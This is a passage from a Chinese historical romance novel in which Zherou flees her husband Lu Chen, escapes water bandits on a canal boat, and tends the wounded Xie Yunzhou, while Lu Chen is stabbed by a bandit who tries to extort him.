寻了一整夜,到此刻将将停下,陆谌方后知后觉地感到手脚虚软,他虽然仍不觉腹中饥饿,但已实实在在地有七八个时辰水米未进了。 身下的马匹通体汗淋,打起了沉重的响鼻,陆谌的喉咙里也漫上一股腥气,眼前跟着一阵阵发黑。 算算脚程,至今不见半分踪影,她定然没回洮州。 不曾北上回洮州……那便是铁了心不想让他寻到。 陆谌闭上眼,恨恨地咬紧牙关,攥着缰绳的手指用力到泛白,骨节咯咯作响。 待教他找到,待教他找到…… 太阳穴上的青筋不住急跳,陆谌几乎头疼欲裂,只能强逼着自己分出神智,思量她的去处。 她性子谨慎周全,既然孤身出行,是去往陌生之地,那多半会改走更为稳妥安全的水路,大抵也会选漕船而非脚船。 若是漕船,一切都好办。 从马行街药铺出去,最近的渡口是位于大相国寺后的汴河渡。 以她的脚程,步行过去大约需两炷香,巳时初刻离开,最迟巳正已到,她急着离京,必不会在渡口多等,定是有船便走,即便是去了其他渡口,如无意外,她也只会搭乘未时前返程的漕船。 这般算来,应当并不难找。 陆谌匀气歇了一歇,哑声唤来平川,迅速道:“去查药铺附近的车马脚行,昨日巳时前后,可有独身女子搭乘车马前往漕运渡口,若有,问清形貌特征、所去何处,将脚夫带回来见我!” 平川立时应了一声,拨转马头,匆匆去了。 旋即,陆谌转头看向南衡,强撑着一口气,飞快地道:“带上人,拿我的名帖,就说要追查水匪残寇,去纲运司调阅昨日漕船卷宗,汴河渡的取来给我,其余蔡河、广济、金水三个漕运渡口,从巳时到未时,三个时辰内,所有勘合过的公验簿册,全都给我筛一遍!不看名姓籍贯,只看身形年岁,只要上下相仿,尽数呈报给我,要快!” 南衡神色一肃,领命策马而去。 看着几人离开走远,陆谌眼前忽地一黑,再也支撑不住,整个人从马背上重重跌落下来。 “郎君!” “上将军!” 陆谌隐约看见头顶日光茫茫,却听不清四处声响,仿佛周身的力气都被抽去,唯余心脏一阵阵剧痛,疼得他不得不微微蜷缩起腰背,几乎不敢喘息。 妱妱…… 明明从始至终,他心里只有她一个,她怎就如此狠心?竟这般弃他而去? ** 同船行了两日,折柔渐渐同叶以安熟稔了些,晚间去船板上取水,碰见了还会寒暄几句。 一来二去,折柔知晓了叶以安是楚州一商贾之家的郎君,今岁北上科举,却不幸落第,如今乘船返乡。 她只假称自己是寡妇,受了夫家欺辱,在上京住不下去,打算南下寻条生计。 叶以安颇为同情,关心道:“恕在下,冒昧,沈娘子,孤身一人,如,如何存身?” 折柔笑笑,“我略懂一点粗浅医术,卖药行医,换口饭吃应当不难。” 叶以安眼神忽地一亮,“沈娘子,要,要去往何处?在下家中,在宿州,有一处药堂。” 折柔含笑谢过他的好意,正想推说她要去比宿州更远的地界,忽听不远处的河面上传来一阵阵异样声响,有人诧异地咦了一声,“那边是什么声音?” 众人原本在说笑闲聊,听见这一问,一时间都不约而同地噤了声,纷纷扬着脖子朝河面上望去。 夜幕垂下,天色已晚,水面上光线昏昧,只听得声音越来越近,折柔抬起头,遥遥见远处一艘渔船破水而来,帆体高悬,吃满了风,速度极快,转眼便行到近前,船头站着几个粗豪汉子,半裸赤膊,神色凶悍。 值守的漕兵猛地反应过来,回头厉声大喝:“水匪!是水匪!操兵刃!” 这一声犹如水入油锅,船工漕兵纷纷拿起兵刃,呼啦一下全都冲到船边,甲板上的船客惊呼着四散奔逃。 叶以安也顾不上什么礼法,一把拉住折柔,急急道:“快藏,进船舱!” 折柔虽不曾遇见过水匪劫掠,但洮州地处边城,时常会有羌兵南下“打草谷”,想来情形相差不多,躲是不行的,船上不比山林,一共就那些地方,如何能一直藏住不被发现?要想自救,必得趁着乱势将起及早离开。 她一面往船舱的方向奔,一面思量着脱身之法,“此处河段离岸不远,船尾有舢板,放下去,趁着船上混乱,夜色遮掩,划到岸上便安全了。” 谁料叶以安竟在这时犯起迂腐脾性,摇头拒绝道:“水匪谋,谋财,不害命。我有书卷,不能丢,沈娘子快走!” 话音未落,忽地砰一声巨响,整条船身被撞得猛然一震,折柔脚下一时不稳,就要向前倒去,好在叶以安及时托了一把,她这才免于重摔。 还不待她站稳身形,就听此起彼落的啪啪几声,数条栈板已然搭上船舷,十余个赤膊匪贼踩着长板冲杀上来,看见男人便抽刀砍去,很快和漕兵们缠斗到一处。 叶以安被眼前情形骇住,“怎,怎,怎……” 折柔反过来扯住他,往船尾的方向奔去,沉静道:“取舢板!” 叶以安回过神来,急忙点头。 不料二人奔到船尾,将将放下舢板,就有水匪发觉了动静,举刀朝他们两个追过来。 只能转身,奔入船舱,甩脱了身后匪贼,两人又合力拖来长桌,堵在门口,吹灭灯烛。 舱外喊杀的动静不时传来,这伙水匪显见极是凶悍,漕兵船工全然不是对手,很快便被杀得溃散,数十个水匪就在头上来回走动,木板被踩出让人牙酸的咯吱声。 折柔攥紧了手中发钗,胸口急促地起伏,整个人不住发抖。 水匪图财,平素只会劫掠往来客船,一旦招惹朝廷的漕船,必是为了抢盐抢粮,可她乘的已是卸粮返程的船,怎会惹来水匪觊觎? 正思量着,一道恶狠狠的粗豪嗓音在头顶炸响:“有一在上京登船的独身娘子,年岁二十上下,纤瘦身材,荔枝眼,远山眉,长得不错,细皮嫩肉的,是个美人。你等可曾见过?” 折柔愣怔一瞬,愕然睁圆眼睛,下意识地和叶以安对视一眼,从彼此眼中读出震惊不解,以及说不出的惶恐。 听这描述,分明是在说她……那这些水匪,竟是冲她来的?! 怎会如此? 她全然不解,无论如何都想不出自己怎会和千里之外的水匪扯上干系。 “不知还是不说?小心爷爷我三刀六个洞,统统扔下去喂王八!” “爷爷饶命!爷爷饶命!小的当真不知……”话未说完,已听得惨叫响起,伴着砰一声闷响,似是人已倒地。 又问了几人,俱是不知,另有一水匪开口道:“嘶我说老四,你那线报可不可靠?拿准了就在这条船上?咱们时间可不充裕,老子脑袋都扎在袴带上,可就搏这一把了!” 粗豪嗓音呸了一声,骂道:“去你娘的,你哪回见老子出过错?!等把整条船搜个底朝天,老子就不信找不到!个小娘们儿,还能反了天去不成?” 水匪很快散开四下搜寻,不远处的舱门已经传来被重物撞击的声响。 折柔心下惊骇,知晓躲在此处不是办法,唯有赌命一搏,急忙起身走到窗前,正欲逃出去,又抿着唇回头看了一眼。 叶以安咬紧牙关,脊背死死抵住舱门,用气音道:“沈,沈娘子,你快走!” 折柔低低道了声谢,也不再犹豫,提裙爬出舱室的矮窗,小心翼翼地往后走,寻到漕船下的小舢板,她咬了咬牙,毅然跳了下去。 不料小舟划出不远,忽被船上一个水匪发现,那人回头招呼一声同伴,迅速冲到船舷边上,一跃扎进水里,朝着她的方向追来。 贼人水性奇佳,不多时便追了上来,猛地掀翻小舟,折柔也被那人捉住手腕,挣脱不得。 冷不防呛了一口水,折柔在惊慌中强迫着自己冷静,握紧手中发簪,乱刺一气,贼人骤然吃了痛,怒骂一声“贼小娘”,手上劲力稍有一松,折柔趁机奋力推开,想再去寻那舢板。 可她生在北方,不谙水性,挣扎着划动几下,很快被耗尽了气息,周身脱力,浮动中呛了几口水,慢慢向水下沉去。 第29章 “……九娘?” 自打那日从城外回来,陆谌周身气度便冷沉得一日胜过一日,南衡跟随在近前,大气都不敢出,直到遣出去的探子查出了些线索,他这才稍稍松了一口气,立时来向陆谌回禀消息。 “郎君,事发当日筛出的可疑漕船共有四条,一条西入蔡河,一条东出广济,两条南下汴河,蔡河广济两个方向已有飞鸽传信回来,说是找遍船上,都不见娘子踪影,沿途的几个渡口也都问过,不曾见过肖似娘子的人下船。 但南下的那两条漕船却是顺风而行,日行二百里有余,实在太快,遣出去的人暂时还未追上。” 陆谌神色平静,淡淡地点了下头,“将东西两路的人手收拢回来,直接散去南下漕船沿路各大渡口,一有消息,即刻回报,切记,不得轻举妄动。” “是。” 南衡领命退下,四下里又重归于安静,酽酽日光透过直棂窗扇,在案前落下一道明晃晃的光束,数不清的细尘在光带中上下翻滚,愈发显得屋内空荡荡的一片。 陆谌半边身子浸在那一束恢弘的光瀑里,半明半昧中,眉目神色愈加难辨。 这几日里,他总觉得恍惚,时常生出一种她从不曾离开的错觉,直到夜间,一次次从梦中惊醒,本能地伸手向身旁探去,再一次次地摸了个空,触手一片冰凉,才会恍然惊觉,她已经悄无声息地离开有好几日了。 青纱床帐是前些日子新换的,她在城西绣坊挑中的样式,说是入了夏,要换个清凉些的颜色,桌案上的梅瓶中还盛着她侍弄过的插花,箱柜里也放着她平素爱穿的褙子和罗裙,轻轻一嗅,便能闻见淡淡的清香。 整个屋院里到处是她生活过的气息,摆着的各色器具用物,还是初到上京时,他们一起去州桥采买挑选回来的,按着她的喜好,一点一点把这个新家添置起来。 可如今,她竟什么都不要了,毫无留恋,走得一干二净。 到底是为什么? 他自问不是个心肠和软之人,已将仅有的真心尽数给了她,再也容不得旁人半分。 对那徐家女,他至多是逢场应付,从无半分真情,内心甚至连一丝涟漪都不曾起伏过,他只想要他妱妱,只想与她相伴长久,恩爱绵长,甚至只需多等两日,他便能给她个交待,她何至于此?怎就值得她这般决绝? 他想不明白,不明白! 转念想起那个素未谋面的孩儿,又是一股摧心剖肝般的钝痛,仿佛身体里有一处血肉被人生生剜去,陆谌简直要恨得牙碎,闭目不愿再想,亦不敢再想。 他们少年相识,相依为命,既非盲婚哑嫁,亦非父母之命,只是当真两情相悦,方才结发为夫妻,那份情意欢喜再纯粹不过,这世间也再没有人能让他如此痛入骨髓,只有他妱妱,只有她。 他定要寻出了她,好生问一问,她到底生的什么心肝,舍弃了他们的骨肉,也舍弃了他。 ** 折柔醒来,是在一处全然陌生的船舱中。 她眯着眼打量起周遭的环境,视线扫过,不远处的角落里堆着些杂物,几个旧箱笼,木板上落了层浮灰,看起来像是个闲置的仓库,临时才用来装人。 浸透了河水的衣裳已经被体温烘得半干不干,带着潮气湿黏在身上,她低头看了一眼,不知是谁给她裹了件细麻质地的旧衣,看形制和颜色,应当是男子的外袍。 折柔心中猛地一沉,惶然睁大了眸子,她这是在哪儿?难道她被捉去贼人窝里了么? “沈,沈娘子,你醒了?” 叶以安见她醒转过来,眼神顿时亮了亮,忙去旁边的小炉上取来一个陶碗,小心地递给她。 “虽是盛夏,落了水,也,也要喝姜汤。” 折柔笑笑,轻声道了谢,伸手接过姜汤,“是公子救的我?不知这是在何处?” “并非在下,”叶以安赶忙摇了摇头,解释道:“是,是官船,已无事了。” 折柔心下一松,这才看见在她身后,船舱中还奄奄歇靠着几个人,有男有女,个个都是一身狼狈,有的身上还带着血迹,显然都是同她一样,侥幸从水匪刀下逃得性命的船客。 叶以安口舌不便,解释起详细缘由不免有些吃力,折柔倒是大致听明白了,原是他们命大,正赶上有官船追缉匪贼,便顺道将他们救了下来。 他终于磕磕绊绊地讲完前因后果,原以为她会着急,不想折柔一直听得认真,眸光清亮温润,脸上不曾露出半分不耐神色。 叶以安一时有些发窘,耳根隐隐泛红,自嘲道:“我这般,还科举,见笑了。” 折柔弯唇笑了笑,温声宽慰道:“叶公子最难得是有君子品行,口舌事小,后天亦可弥补。” 叶以安红了脖子,慌乱地点点头。 折柔捧着姜汤喝了几口,腹中渐渐暖和起来,正想把碗放回去,余光忽见门口有人影晃动,一个护卫打扮的年轻男子弯腰进了船舱。 折柔原本只是不经意地一瞥,却在看清那人相貌的一瞬怔住,心脏跟着砰砰急跳起来。 这人,她识得。 若是没记错,他叫周霄,是谢云舟身边的得力护卫。 他既然在此,那谢云舟一定也在这条船上。 倒是让人说不清,这是巧还是不巧了。 周霄曾和她见过两回,不知能否认出她来,下意识地,折柔稍稍低下头,眼睫微垂,想要避开与他的视线接触。 她的行踪去处不能让谢云舟知晓,否则陆谌那边必然瞒不住。 她太熟悉陆谌的脾性了,一旦教他查出些痕迹,便轻易不会放手。 好在周霄似乎隐隐有些焦躁,并未过多留意船舱里的状况,只对着众人道:“我等有急务在身,只能捎载你们一程,下个渡口是宿州,你们下了船自寻去处,可记住了?” 周霄说完,视线又在人群中扫了一圈,折柔微微偏着身,鬓发散乱着,遮住了小半边脸颊,又因为落水而显得形容狼狈,混在这些船客之中,算不上惹眼,周霄的目光也只是一掠而过,丝毫不曾停留。 折柔暗暗松了一口气,思量起更紧迫的一桩事来。 她身上的金银细软都丢在了漕船上,等一会儿下了渡口,她需得想法子先赚些盘缠。 叶以安似是也想到了这一处,转头看向折柔:“沈娘子,若不嫌弃,去我家药堂,做郎中,如何?” 周霄本已要走出船舱,闻听此言,忽地站住,回头看了眼叶以安,又打量着看向折柔,沉声问:“你懂医术?” 视线相对,折柔的心顿时悬了起来,可还不等她出言否认,身旁的叶以安已经诚实地点了头。 周霄的眼神一瞬就变了,急步迈上前来,问道:“我家公子受伤后高热不退,神志不清,你能否医治?” 看见他不加掩饰的急切神色,折柔怔住片刻,心下不由有些挣扎。 她当然不想与谢云舟相见,更不想泄露一丝一毫的行踪,可眼见着周霄这副架势,路边随便遇见个医者都要来过问,只怕是谢云舟伤势不轻,他身边的护卫已经开始病急乱投医。 犹豫半晌,终究还是狠不下心肠,折柔谨慎应道:“我可以试试,但需得戴上面衣。” 周霄诧异拧眉:“戴面衣?” 折柔点点头,神色平静道:“实不相瞒,我是寡妇,又男女有别,是以做些遮挡,以免冲撞了贵人。” 周霄虽是不大讲究这些,但毕竟事关自家郎君,多些忌讳倒也没甚坏处,更何况他们身为贴身护卫,面衣这等物什自然都是随身携带,算不上稀罕,于是当即便应了,叫人取了条干净的过来给她。 折柔用清水洗了把脸,重新束好发髻,戴上面衣,随周霄去往谢云舟所在的船舱。 一进到舱室里,就闻到一股浓郁的金创药味,又混杂着丝丝缕缕的血腥气。 谢云舟闭目躺在榻上,衣襟敞开了,露出受伤的左臂,缠裹了数层细布,隐隐约约还渗着血迹。 折柔走得近些,见他唇色苍白,呼吸微促,面颊上泛着不正常的潮红,显然是发了高热。 再解开包扎的细布,只见伤处已经发红肿胀,怪不得高热不退。 “他伤了多久?” “昨日凌晨,公子不慎中了水贼的暗箭,原以为只是皮肉伤,不成想将到傍晚就烧起来了,公子急着追剿水贼,便只咬牙硬挨。” 折柔转头看向周霄,“船上可备着麻沸散?箭簇上沾过不干净的东西,他伤处生了肿疡,需得尽快清理伤处,重新包扎。” 闻言,周霄神色一变,“这群水匪尤为凶悍,昨夜不少弟兄受伤,麻沸散怕是剩得不多了。” 折柔眉心微微蹙起,“你家公子这伤势耽误不得,有多少算多少罢。” 周霄忙应了一声,转身就要打发人去取,又被折柔叫住,“还需干净的细布,用沸水煮过两遍,再拿给我。” 周霄点点头,匆匆去了。 给谢云舟喂下仅剩的半碗麻沸散,等到药力发散上来,折柔用火燎了撩刀片,开始给他清理伤处。 舱室里渐渐弥漫开浓郁的血腥气,折柔神色平静,动作沉稳,心里却颇为忐忑,额上渐渐沁出一层细汗,不多时,本就未曾干透的衣裳又被汗水浸湿,紧紧贴在身上。 既是太耗费心神,也是怕麻沸散效力不够,谢云舟半路痛醒,会认出自己来。 她实是不愿节外生枝。 好在一切顺利,又重新敷了金创药,喂过几粒参丸,谢云舟一直都昏昏沉沉着,不曾醒来。 但毕竟是半路捡来的郎中,只要谢云舟不见好转,周霄便不敢轻易放她离开,一直等到晌午,折柔伸手试了下谢云舟额上的温度,发觉已经有退热的迹象,心下不由一松。 她转头看向周霄,弯唇笑了笑,“你家公子退热了,不会再有性命之忧。但他伤势不轻,不宜再奔波跋涉,需得尽快寻一处安稳的落脚地,服药休养。” 周霄闻言,急忙上前查看,发觉果然退热了。 他顿时大为惊喜,连忙点头应下,叉手行礼,感激道:“多谢娘子妙手,不知娘子家住何处,待公子平安后,我们府上必有重谢。” “是你们救我在先,我也不过是报恩。” 折柔摇头笑笑,又看了榻上的人一眼,周霄不曾认出她来,谢云舟也还未清醒,如此正好。 她当下也不再多留,向周霄嘱咐了几桩要注意的避忌,告辞离开。 然而她刚刚才走出舱门,忽听身后传来一声周霄的惊叫。 “公子!” 折柔愣怔片刻,还不及转身回头,手腕就被一只热烫宽大的掌心攥紧。 “……九娘?”低哑虚弱,又带着试探。 她一瞬定在原地。 谢云舟刚从昏迷中醒来,恍惚间就看见一道熟悉的纤瘦背影。 像是……像是九娘? 谢云舟脑中正是昏沉,这个念头陡然一生出来,迷迷糊糊地,他又忍不住自嘲,他是日思夜想惦记得多了,竟做了这等美梦。 她这时候应当在上京,怎会在这里? 他怕不是烧糊涂了。 下回得叫郎中添些安神的药。 可是眼看着那道身影就要走出门外,转身没入天光,谢云舟心头莫名一紧,全然来不及多想,挣扎着起身下了榻,腿上却吃不住力,整个人险些跌跪到地上。 他扶住一旁的桌柜,咬牙稳了稳身形,几步追上去,一把攥住折柔的手腕,试探着唤了一声。 “……九娘?” 第30章 同行 他掌心的温度炽热分明,透过薄薄的夏衫,烫灼着折柔腕上肌肤,几乎要沁出热汗来。 她压低了声音,试图否认:“你认错人了。” 然而谢云舟的语气已经变得笃定,又惊又喜,低头去寻她的眼睛,“九娘,竟真的是你!” 折柔站在原地,一时竟不知要如何应对。 谢云舟这时才后知后觉地感到手臂剧痛,牵扯得半边身子都锐痛难当,后背霎时冒出一层冷汗,他咬牙喘了两口气,勉强着忍痛问道:“九娘,你不是在上京么?怎会到这里来?陆秉言呢?” 乍然听到陆谌的名字,折柔的身子微微一颤。 谢云舟立时察觉到她的异样,凝眸端量了一会儿她的神色,迟疑着开口:“你和陆秉言……” 折柔无意识地掐紧了掌心。 事已至此,索性将话说开,或许看在过去的情分上,能让谢云舟帮忙隐瞒她的行踪。 折柔抿了抿唇,抬眸看向谢云舟,轻声道:“不错。我已同他恩断义绝。” 视线相对,谢云舟猛地一怔。 他脑中嗡嗡作响,简直要怀疑自己的耳朵烧出了毛病。 从初时的不可置信中回过神,谢云舟定定地看着折柔,声音沉了下来,“他欺负你?” 他脸色惨白,气息还虚弱着,可话音里是毫不掩饰的关切和紧张。 折柔的鼻子蓦然一酸。 在那些识得她和陆谌的贵人里,大约也就只有谢云舟才不会觉得,她出身低微,与陆谌不堪相配,也不会觉得,陆谌瞒着她,同旁人逢场作戏是迫不得已、理所应当。 赶在眼里的热意流淌下来之前,折柔匆匆别开视线,压下心头复杂的情绪,低声道:“鸣岐……你我也算有些交情,我有一事相求,不知你能否应允。” 谢云舟垂眸看着她隐约泛红的眼眶,只觉心里闷疼至极,喉结微滚了滚,他哑声道:“你同我客套什么。” 听他应得痛快,折柔心下微松,抿了抿唇道:“我南下的行踪,陆谌并不知晓。倘若他日后问起,你就当从未见过我,可好?” 谢云舟眼中闪过一瞬的犹豫挣扎,但最后还是点了点头,半分不似寻常的飞扬模样,极其郑重地应下,“九娘你放心。” 得他应允,折柔也放松下来,脸上不禁带了些笑意,向他告辞。 见她转身要走,谢云舟愣怔一瞬,又本能地追上去,拉住她衣袖,勉强匀了两口气,低低道:“九娘,这一带不太平,你想去何处,我送你。” 折柔不傻,自然清楚他的心意,但正是因为清楚,所以要拒绝。她既然无意回应,便不应当再和他有什么多余的牵扯。 更不必说,谢云舟和陆谌还是那般亲近的关系。 折柔摇了摇头,想要把衣袖从他掌心里抽出来。 谢云舟却执拗地不肯松手,一张脸白得毫无血色,鬓发渐渐被冷汗浸透,豆大的汗珠顺着下颌滴落下来,折柔看出他一直是在咬牙强撑,一时也不敢使力硬挣。 正僵持着,一旁侍立的周霄恍悟到什么似的,右拳猛地一击左掌,叫道:“公子,这便说得通了!” 折柔和谢云舟都是一怔,齐齐看过去。 周霄不大自在地轻咳一声,解释道:“公子有所不知,昨夜弟兄们捉到两个活口,一个熬不住刑死了,另外一个倒是吐了口,说是他们收到线报,那条漕船上有一个年轻娘子,若是能掳到手里,或许可以同公子谈谈条件……属下原本还以为是那贼厮胡乱发疯,如今看来,昨夜那帮水匪要找的人应当就是宁娘子……” 谢云舟顿时被气笑了,微微眯起眼睛:“这帮杂碎东西,胆子倒是不小,是从哪儿收的消息?” 周霄摇了摇头,“不曾问出,但估计和京里脱不了干系。” 谢云舟沉默片刻,转头看向折柔:“九娘?” 折柔明白他的意思,既然有贼人对她生了心思,那她孤身在外,实在太过危险。 周霄自觉身为心腹,左右看了看,当然要适时地给自家公子帮腔:“这帮贼厮手段下作,难保不会再对娘子下手,为稳妥起见,娘子不如先随我们一道吧!” 毕竟还是安危要紧,旁的都可以容后再说,折柔想了想,也不再犹豫,点头应了下来。 谢云舟伤势反复,急需服药休养,一行人便在宿州下了船,周霄让人赁下一个小院,众人暂作歇息。 折柔随叶以安去了趟他家的药堂,采买回几味治伤要用的药材,顺道又问药堂女使借来一套换洗衣裳。 回到小院,草草地擦了身,换上干净衣裳,用过饭,一切都安顿下来,已近傍晚。 临时租来的小院实在简朴,只有两间屋室,谢云舟和折柔安置在主屋,一个在东次间,一个在西次间,中间以堂屋相隔,周霄则带着护卫歇在厢房。 折柔刚理好床铺,还未躺下,就听东次间里传来咣当一声巨响。 犹豫片刻,她还是走去堂屋,试探着,轻声问了一句:“鸣岐,你没事罢?” 东次间里响起一阵窸窸窣窣的声音,谢云舟拉开木门走出来,似是又忍不住回头看了一眼,声音微微发紧,“没事,我去叫周霄过来。” 折柔顺着他的视线看去,就见地上蜿蜒着一条乌黑发亮的蜈蚣。 折柔愣了愣。 从前她在叔父的医馆里做活计,免不了要与这些物什打交道,起初她也会怕,但见得多了,便也习以为常了。 折柔当即回身去桌案上取来两个茶盏,快步走到近前,蹲下身子,看准蜈蚣的去处,双手既快又稳地一合,瞬间将蜈蚣拢进了盏中。 看着她手里扣合的茶盏,谢云舟的脸色都变了,整个人几乎僵凝在原地。 折柔忍不住笑了一声,“鸣岐,原来你怕虫子?” 谢云舟动作僵硬,咬紧了牙,却强作镇定地挑眉一嗤,“怎会?” “当真?”折柔假意要将茶盏递过去。 不料她会有这个动作,谢云舟脸色唰地一白,瞬间瞪直了眼,说话都要不利索了,“我,我我错了,九娘饶命。” 自从离开上京,折柔这一路心绪都低沉着,今日倒是头一回真切地笑起来,眸光倒映着昏黄的烛火,盈盈脉脉,“堂堂上京小霸王,我还以为你天不怕地不怕,原来还会怕小虫子,说出去谁敢信。” 谢云舟垂眸看着她,尴尬地轻咳一声,眼神飘忽了下,耳根通红。 折柔一时忍俊不禁。 处置好蜈蚣,她正要回自己的住处,谢云舟忽然开口唤了一声,“九娘。” 折柔闻声回过头,“嗯?” “你还是笑起来好看。”谢云舟看了她一会儿,唇角轻扯,嗓音有些干哑,“就算是笑我,我心里也欢喜。” 他一双眼睛干干净净,澄澈明亮,有魂有魄,带着几分清爽热烈的少年气,烛光倒映下,仿佛只盛了一个她。 目光陡然相撞,折柔怔了一瞬,又若无其事地笑笑,转身回了西次间。 入夜下起了雨,淅淅沥沥,雨珠拍打着窗棂,滴答不停。 谢云舟一向不喜这等湿黏的天气。 今夜却有种恍惚的不同。 西次间里,烛火昏黄温暖,透过直棂门上的桃花纸,隐约投出一道绰约的剪影。 谢云舟望了一会儿,强迫自己调开视线。 夜里不知何时又发起热来,他微微蜷缩在床榻上,意识浑浑噩噩,白日里她那双微微泛红的眼眸一直在脑中浮现,仿佛织开一张无形的密网,在慢慢缠紧他的心脏,拧得他心中一阵阵绞痛。 知道她和陆谌之间出了事,他原以为自己会欢喜,可当真听闻了,他却觉得心里闷得发疼。 只因这世上没人能比他更清楚,她有多在意陆谌,在意到让他嫉妒得想发疯,每每提到陆谌,她的眼中都会漾起一抹温柔意,或许连她自己都不曾发觉,满心满眼地,分毫容不下第二个人。 在洮州的四载,两个人相依为命、年少情动的心意,岂是那般容易便能割舍? 若是当真要恩断义绝,简直无异于挫骨剜肉,神断魂消。 他至今还记得她那时笑着说,百年后,她和陆谌必是要同穴而葬的。 到底是吃了多少苦,受了多少疼,才会想和陆谌一刀两断? 恍惚间,谢云舟竟不敢再想。 他也不知该如何是好。 一面忍不住接近渴求,一面又厌弃自己卑鄙,竟存心觊觎兄弟的妻子,两个念头来回撕扯,挣扎得他头疼欲裂,渐渐陷入一片昏沉。 细雨连绵,淅淅沥沥地下了两日,虽是终于停歇下来,天穹却依旧阴云密布,乌沉沉一团。 徐府门前置办起丧仪,潮湿的水气随风涌入灵堂,吹得白幡不住摇动。 陆谌到门上送了赙仪,入内探望徐崇。 “请相公节哀。” 徐崇颔首,“老夫无碍。” 陆谌看了他一眼,神色愧疚,“是末将疏忽,未能护住夫人。” 徐崇摇摇头,宽慰似的拍了拍他的肩膀,“三郎处置了潘兴,老夫甚感欣慰,这也算是为夫人报仇了。你去看看容娘罢,她呀……唉。” 陆谌点头应下,行了一礼,转身去往灵堂。 徐有容身披孝衣,正跪坐在周氏灵前,抬头见陆谌进来,哽咽着唤了一声:“秉言哥哥。” 陆谌点头,“容娘。” 走到灵前上过香,陆谌看向徐有容,温声宽慰,“节哀,你阿娘在天有灵,定也不想见你这般难过。方才我在你阿娘灵前许诺,等容娘出了孝期,我便上门提亲,容娘要保重自身才好。” 徐有容红着眼睛,低低应了一声。 走出徐府,陆谌眸光沉静下来,微不可察地勾了勾唇。 见他事毕出来,南衡赶忙迎上前去,禀道:“郎君,护卫在府外发现一人行迹鬼祟,似乎在打探咱们府内女眷底细,护卫便将人给捉了,谁想那人竟自称是潘兴手下水匪,指名要见郎君,说有要事与郎君商谈。” 陆谌闻言沉吟了下,“回去看看。” 回到府里,可疑的贼人已被护卫按住押在前堂。 陆谌垂眸打量了他一眼,不是良家样貌,年岁三十有余,肤色是日晒雨淋的黑,微微躬着腰,眼睛微眯,唇角带着笑,一副油滑混赖模样。 “你是何人?” “小的姓陈,行三,原在‘翻天蛟’潘兴潘二当家手下听差,官人唤小的陈三便是。” 陆谌扯唇笑笑,眼底却是一片冷寒,“好大的胆子,朝廷正四处缉捕水匪残寇,你还敢寻到我的门上来?” 陈三稍微挣了挣,抬起胸膛,向上笑道:“小人既然敢来,自然是带了官人会感兴趣的东西,以此搏个几两碎银罢了。小人怀里有封书信,官人一看便知。” 陆谌示意南衡拿过来。 纸张是上好的澄心宣纸,却已经被揉得发皱,布满折痕,边缘有了破损,还有几处带着被风干的水渍。 是一封休书。 他母亲的字迹。 看清了纸上内容,陆谌眸色彻底阴寒下来,长指夹起休书,冷声问:“这张纸,你从何得来?!” 陈三咧嘴一笑,“说来倒是巧了,前些日子,小人的弟兄们在汴河上劫了一条漕船,本也没什么稀罕,却不想掳走的女子中有一人自称和官人有旧,弟兄们从她身上搜出来这封休书,急忙用飞雁传来的消息。 原本弟兄们的意思也就是碰碰运气,看看能不能用她来换我们二当家一条生路,这小娘毕竟是个弃妇,想来也不值几个钱,左右二当家已经不在了,小人便只想为自己搏一把,向官人求些返乡的财帛盘缠,不知官人愿出多少银钱赎人?” 陆谌心下清楚,无论是笔迹、纸张还是所记内容都没有差错,这封休书绝不会有假。越是如此,越让人心惊,若非当真遇到了什么意外,妱妱怎会让它离身? 陆谌额上青筋隐隐跳动,冷眼看着地上的人,轻嗤道:“区区一张废纸,算何凭证?” 陈三抬起头,偷偷瞟了几眼旁边的护卫,似是为难道:“若说凭证……这……这涉及娘子私密,只怕不好叫旁人随意听见。” 陆谌冷冷地盯了他片刻,示意南衡带人退下。 见护卫都退了下去,陈三咧嘴笑出一口白牙,“回官人的话,娘子是在六月廿四那天独自一人乘的南下漕船,生得削肩瘦腰,荔枝眼远山眉,好一副标致样貌,说话温声细语的,随身还带着几本医书手札……” 明知他说的这些都算不得证据,随便打听打听便能知晓,但事关她的安危,陆谌已快要压不住心中惊怒,只能强逼着自己冷静,不要陷入圈套。 陈三笑嘻嘻地看着陆谌冷冽的脸色,继续道:“官人可考虑好了?要是等二当家的消息传回去,官人的娘子怕是就再没有好日子过了,那细皮嫩肉的,弟兄们早都馋透了,就等着尝尝滋味呢……啧啧,落到贼人窠子里,男人在榻上能有多下流,就不必小人多说了吧……” “虽说官人是休弃不要了,但那也曾经是官人的枕边人不是?这要是让旁人糟蹋了……”陈三嘿嘿笑了两声,满脸惫赖地看向陆谌,“那官人脸上也无光嘛,小人说的是不是这个道理?” 一字一句,简直如同淬了毒的利箭,直往心肺深处里扎。 岂能容这等杂碎冒犯于她? 再也按耐不住,沸腾的怒意已然烧穿理智,陆谌快步上前,一把擒住他喉颈,赤红了眼喝道:“闭嘴!” 陆谌收紧五指,骨节用力到咯咯作响,陈三脸色渐渐涨红发紫,在他掌心下艰难地喘息着,“官人……不想救人了么?” 闻言,陆谌手下微松一霎。 就在此刻,冷不防寒光一闪,陈三猝然抽出一柄短刃,聚起全身的力气,趁此时机,没有分毫迟滞,狠狠刺入陆谌腰腹。 冰凉的锐痛一瞬传来,半边身子都跟着发麻,陆谌几乎是本能地扣住陈三腕脉,猛一用力,卸去兵刃,抬脚便踹了过去。 盛怒之下,这一脚用足了力道,陈三顿时飞扑倒地,肋骨断折几根,口中不断呛咳出鲜血,勉强匀了两口气,他抬起头来,止不住地哈哈大笑。 “什么狗屁官人,杀我大哥,都他娘的给老子偿命!你那女人也落不了好,官家娘子的滋味可不一般,等着让弟兄们玩烂了卖窑子……” “闭嘴!”陆谌目色泛红,上前一把钳住陈三的脖颈,虎口猛地收紧,几乎要将人掐断了气,直到看见陈三眼中翻白晕厥过去,方才松了手,泄愤似的将人狠狠摔去一旁。 腰腹间不断有湿黏的液体涌流出来,陆谌丝毫顾不上处置,只觉浑身发冷,陈三那些恶毒下流的话不断在耳边嗡嗡作响,惊怒到极致,竟反倒让他生出几分无措。 他分毫不敢去想,她是不是当真遇了险,遭人欺负…… 甚至这一切都是因为他,因为他! 妱妱,妱妱…… 分不清是哪里传来的痛意,陆谌脑中乱作一片,如煎似沸,身形摇摇晃晃,困兽一般,四下里胡乱走了几步,这才想起来要唤人。 南衡听见声响便冲了进来,一眼看见陆谌身上和地上的血迹,瞬间惊得脸色煞白,上前一把扶住陆谌,“郎君!”一面扯了袍子给他缠裹伤处,一面直着脖子朝外喊人去叫大夫。 